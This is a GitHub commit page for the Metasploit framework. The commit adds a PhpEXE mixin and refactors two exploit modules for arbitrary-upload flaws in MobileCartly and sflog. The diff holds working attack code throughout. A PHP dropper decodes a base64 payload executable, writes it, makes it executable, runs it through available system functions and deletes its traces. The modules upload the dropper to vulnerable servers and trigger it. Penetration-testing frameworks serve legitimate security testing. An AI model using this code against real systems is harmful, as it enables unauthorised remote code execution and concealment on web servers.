Skip to content

Commit 13a5892

Browse files
committed
Add a mixin for uploading/executing bins with PHP
And use it in three modules that had copy-paste versions of the same idea.
1 parent 0adabb1 commit 13a5892

File tree

5 files changed

+156
-177
lines changed

5 files changed

+156
-177
lines changed

lib/msf/core/exploit/php_exe.rb

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
# -*- coding: binary -*-
2+
##
3+
# $Id$
4+
##
5+
6+
###
7+
#
8+
# This module exposes a simple method to create an payload in an executable.
9+
#
10+
###
11+
12+
load 'lib/msf/core/payload/php.rb'
13+
14+
module Msf
15+
module Exploit::PhpEXE
16+
include Exploit::EXE
17+
include Payload::Php
18+
19+
#
20+
# Generate a first-stage php payload.
21+
#
22+
# For ARCH_PHP targets, simply returns payload.encoded wrapped in <?php ?>
23+
# markers.
24+
#
25+
# For target architectures other than ARCH_PHP, this will base64 encode an
26+
# appropriate executable and drop it on the target system. After running
27+
# it, the generated code will attempt to unlink the dropped executable which
28+
# will certainly fail on Windows.
29+
#
30+
# @option opts [String] :writable_path A path on the victim where we can
31+
# write an executable. Uses current directory if not given.
32+
# @option opts [Boolean] :unlink_self Whether to call unlink(__FILE__); in
33+
# the payload. Good idea for arbitrary-file-upload vulns, bad idea for
34+
# write-to-a-config-file vulns
35+
#
36+
# @return [String] A PHP payload that will drop an executable for non-php
37+
# target architectures
38+
#
39+
# @todo Test on Windows
40+
def get_write_exec_payload(opts={})
41+
case target_arch.first
42+
when ARCH_PHP
43+
php = payload.encoded
44+
else
45+
bin_name = Rex::Text.rand_text_alpha(8)
46+
if opts[:writable_path]
47+
bin_name = [opts[:writable_path], bin_name].join("/")
48+
else
49+
bin_name = "./#{bin_name}"
50+
end
51+
if target["Platform"] == 'win'
52+
bin_name << ".exe"
53+
print_debug("Unable to clean up #{bin_name}, delete it manually")
54+
end
55+
p = Rex::Text.encode_base64(generate_payload_exe)
56+
php = %Q{
57+
error_reporting(0);
58+
$ex = "#{bin_name}";
59+
$f = fopen($ex, "wb");
60+
fwrite($f, base64_decode("#{p}"));
61+
fclose($f);
62+
chmod($ex, 0777);
63+
function my_cmd($cmd) {
64+
#{php_preamble}
65+
#{php_system_block};
66+
}
67+
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
68+
my_cmd($ex . "&");
69+
} else {
70+
my_cmd($ex);
71+
}
72+
unlink($ex);
73+
}
74+
end
75+
76+
if opts[:unlink_self]
77+
php << "unlink(__FILE__);"
78+
end
79+
80+
php.gsub!(/#.*$/, '')
81+
php.gsub!(/[\t ]+/, ' ')
82+
php.gsub!(/\n/, ' ')
83+
return "<?php #{php} ?>"
84+
end
85+
86+
87+
end
88+
end

lib/msf/core/payload/php.rb

Lines changed: 31 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -6,10 +6,17 @@
66
###
77
module Msf::Payload::Php
88

9-
def initialize(info = {})
10-
super(info)
11-
end
12-
9+
#
10+
# Generate a chunk of PHP code that should be eval'd before
11+
# #php_system_block.
12+
#
13+
# The generated code will initialize
14+
#
15+
# @options options [String] :disabled_varname PHP variable name in which to
16+
# store an array of disabled functions.
17+
#
18+
# @returns [String] A chunk of PHP code
19+
#
1320
def php_preamble(options = {})
1421
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
1522
dis = '$' + dis if (dis[0,1] != '$')
@@ -32,6 +39,20 @@ def php_preamble(options = {})
3239
return preamble
3340
end
3441

42+
#
43+
# Generate a chunk of PHP code that tries to run a command.
44+
#
45+
# @options options [String] :cmd_varname PHP variable name containing the
46+
# command to run
47+
# @options options [String] :disabled_varname PHP variable name containing
48+
# an array of disabled functions. See #php_preamble
49+
# @options options [String] :output_varname PHP variable name in which to
50+
# store the output of the command. Will contain 0 if no exec functions
51+
# work.
52+
#
53+
# @returns [String] A chunk of PHP code that, with a little luck, will run a
54+
# command.
55+
#
3556
def php_system_block(options = {})
3657
cmd = options[:cmd_varname] || '$cmd'
3758
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
@@ -102,12 +123,12 @@ def php_system_block(options = {})
102123
# Currently unused until we can figure out how to get output with COM
103124
# objects (which are not subject to safe mode restrictions) instead of
104125
# PHP functions.
105-
win32_com = "
106-
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
107-
$wscript = new COM('Wscript.Shell');
108-
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
109-
#{output} = file_get_contents('%TEMP%\\out.txt');
110-
}else"
126+
#win32_com = "
127+
# if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
128+
# $wscript = new COM('Wscript.Shell');
129+
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
130+
# #{output} = file_get_contents('%TEMP%\\out.txt');
131+
# }else"
111132
fail_block = "
112133
{
113134
#{output}=0;

modules/exploits/multi/http/mobilecartly_upload_exec.rb

Lines changed: 11 additions & 62 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,13 @@
66
##
77

88
require 'msf/core'
9+
require 'msf/core/exploit/php_exe'
910

1011
class Metasploit3 < Msf::Exploit::Remote
1112
Rank = ExcellentRanking
1213

1314
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Exploit::EXE
15+
include Msf::Exploit::PhpEXE
1516

1617
def initialize(info={})
1718
super(update_info(info,
@@ -26,8 +27,8 @@ def initialize(info={})
2627
'License' => MSF_LICENSE,
2728
'Author' =>
2829
[
29-
'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
30-
'sinn3r' #Metasploit
30+
'Yakir Wizman <yakir.wizman[at]gmail.com>', # Original discovery
31+
'sinn3r' # Metasploit
3132
],
3233
'References' =>
3334
[
@@ -36,11 +37,10 @@ def initialize(info={})
3637
],
3738
'Payload' =>
3839
{
39-
'BadChars' => "\x00"
40-
},
41-
'DefaultOptions' =>
42-
{
43-
'ExitFunction' => "none"
40+
# Goes in the query string, needs to fit in 8k. Leave a little
41+
# exra for the other params and the path.
42+
'Space' => 8000,
43+
'DisableNops' => true
4444
},
4545
'Platform' => ['linux', 'php'],
4646
'Targets' =>
@@ -72,42 +72,6 @@ def check
7272
end
7373

7474

75-
def get_write_exec_payload(fname, data)
76-
p = Rex::Text.encode_base64(generate_payload_exe)
77-
php = %Q|
78-
<?php
79-
$f = fopen("#{fname}", "wb");
80-
fwrite($f, base64_decode("#{p}"));
81-
fclose($f);
82-
exec("chmod 777 #{fname}");
83-
exec("#{fname}");
84-
?>
85-
|
86-
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
87-
return php
88-
end
89-
90-
91-
def on_new_session(cli)
92-
if cli.type == "meterpreter"
93-
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
94-
end
95-
96-
@clean_files.each do |f|
97-
print_status("#{@peer} - Removing: #{f}")
98-
begin
99-
if cli.type == 'meterpreter'
100-
cli.fs.file.rm(f)
101-
else
102-
cli.shell_command_token("rm #{f}")
103-
end
104-
rescue ::Exception => e
105-
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
106-
end
107-
end
108-
end
109-
110-
11175
def exploit
11276
@peer = "#{rhost}:#{rport}"
11377

@@ -121,31 +85,16 @@ def exploit
12185
# Configure payload names
12286
#
12387
php_fname = Rex::Text.rand_text_alpha(5) + ".php"
124-
bin_fname = Rex::Text.rand_text_alpha(5)
125-
@clean_files = [php_fname]
126-
127-
#
128-
# Generate a payload based on target
129-
#
130-
case target['Platform']
131-
when 'php'
132-
p = "<?php #{payload.encoded} ?>"
133-
when 'linux'
134-
bin_fname << '.bin'
135-
@clean_files << bin_fname
136-
bin = generate_payload_exe
137-
p = get_write_exec_payload("/tmp/#{bin_fname}", bin)
138-
end
13988

14089
#
14190
# Upload payload
14291
#
143-
print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")
92+
print_status("#{@peer} - Uploading payload")
14493
res = send_request_cgi({
14594
'uri' => "#{base}/includes/savepage.php",
14695
'vars_get' => {
14796
'savepage' => php_fname,
148-
'pagecontent' => p
97+
'pagecontent' => get_write_exec_payload(:unlink_self=>true)
14998
}
15099
})
151100

@@ -158,7 +107,7 @@ def exploit
158107
# Run payload
159108
#
160109
print_status("#{@peer} - Requesting '#{php_fname}'")
161-
send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})
110+
send_request_cgi({ 'uri' => "#{base}/pages/#{php_fname}" })
162111

163112
handler
164113
end

modules/exploits/multi/http/sflog_upload_exec.rb

Lines changed: 5 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -6,12 +6,13 @@
66
##
77

88
require 'msf/core'
9+
require 'msf/core/exploit/php_exe'
910

1011
class Metasploit3 < Msf::Exploit::Remote
1112
Rank = ExcellentRanking
1213

1314
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Exploit::EXE
15+
include Msf::Exploit::PhpEXE
1516

1617
def initialize(info={})
1718
super(update_info(info,
@@ -26,8 +27,8 @@ def initialize(info={})
2627
'License' => MSF_LICENSE,
2728
'Author' =>
2829
[
29-
'dun', #Discovery, PoC
30-
'sinn3r' #Metasploit
30+
'dun', # Discovery, PoC
31+
'sinn3r' # Metasploit
3132
],
3233
'References' =>
3334
[
@@ -38,10 +39,6 @@ def initialize(info={})
3839
{
3940
'BadChars' => "\x00"
4041
},
41-
'DefaultOptions' =>
42-
{
43-
'ExitFunction' => "none"
44-
},
4542
'Platform' => ['linux', 'php'],
4643
'Targets' =>
4744
[
@@ -76,46 +73,6 @@ def check
7673
end
7774
end
7875

79-
80-
#
81-
# Embed our binary in PHP, and then extract/execute it on the host.
82-
#
83-
def get_write_exec_payload(fname, data)
84-
p = Rex::Text.encode_base64(generate_payload_exe)
85-
php = %Q|
86-
<?php
87-
$f = fopen("#{fname}", "wb");
88-
fwrite($f, base64_decode("#{p}"));
89-
fclose($f);
90-
exec("chmod 777 #{fname}");
91-
exec("#{fname}");
92-
?>
93-
|
94-
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
95-
return php
96-
end
97-
98-
99-
def on_new_session(cli)
100-
if cli.type == "meterpreter"
101-
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
102-
end
103-
104-
@clean_files.each do |f|
105-
print_status("#{@peer} - Removing: #{f}")
106-
begin
107-
if cli.type == 'meterpreter'
108-
cli.fs.file.rm(f)
109-
else
110-
cli.shell_command_token("rm #{f}")
111-
end
112-
rescue ::Exception => e
113-
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
114-
end
115-
end
116-
end
117-
118-
11976
#
12077
# login unfortunately is needed, because we need to make sure blogID is set, and the upload
12178
# script (uploadContent.inc.php) doesn't actually do that, even though we can access it
@@ -198,18 +155,8 @@ def exploit
198155
end
199156

200157
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
201-
@clean_files = [php_fname]
202-
203-
case target['Platform']
204-
when 'php'
205-
p = "<?php #{payload.encoded} ?>"
206-
when 'linux'
207-
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
208-
@clean_files << bin_name
209-
bin = generate_payload_exe
210-
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
211-
end
212158

159+
p = get_write_exec_payload(:unlink_self=>true)
213160
upload_exec(cookie, base, php_fname, p)
214161
end
215162
end

0 commit comments

Comments
 (0)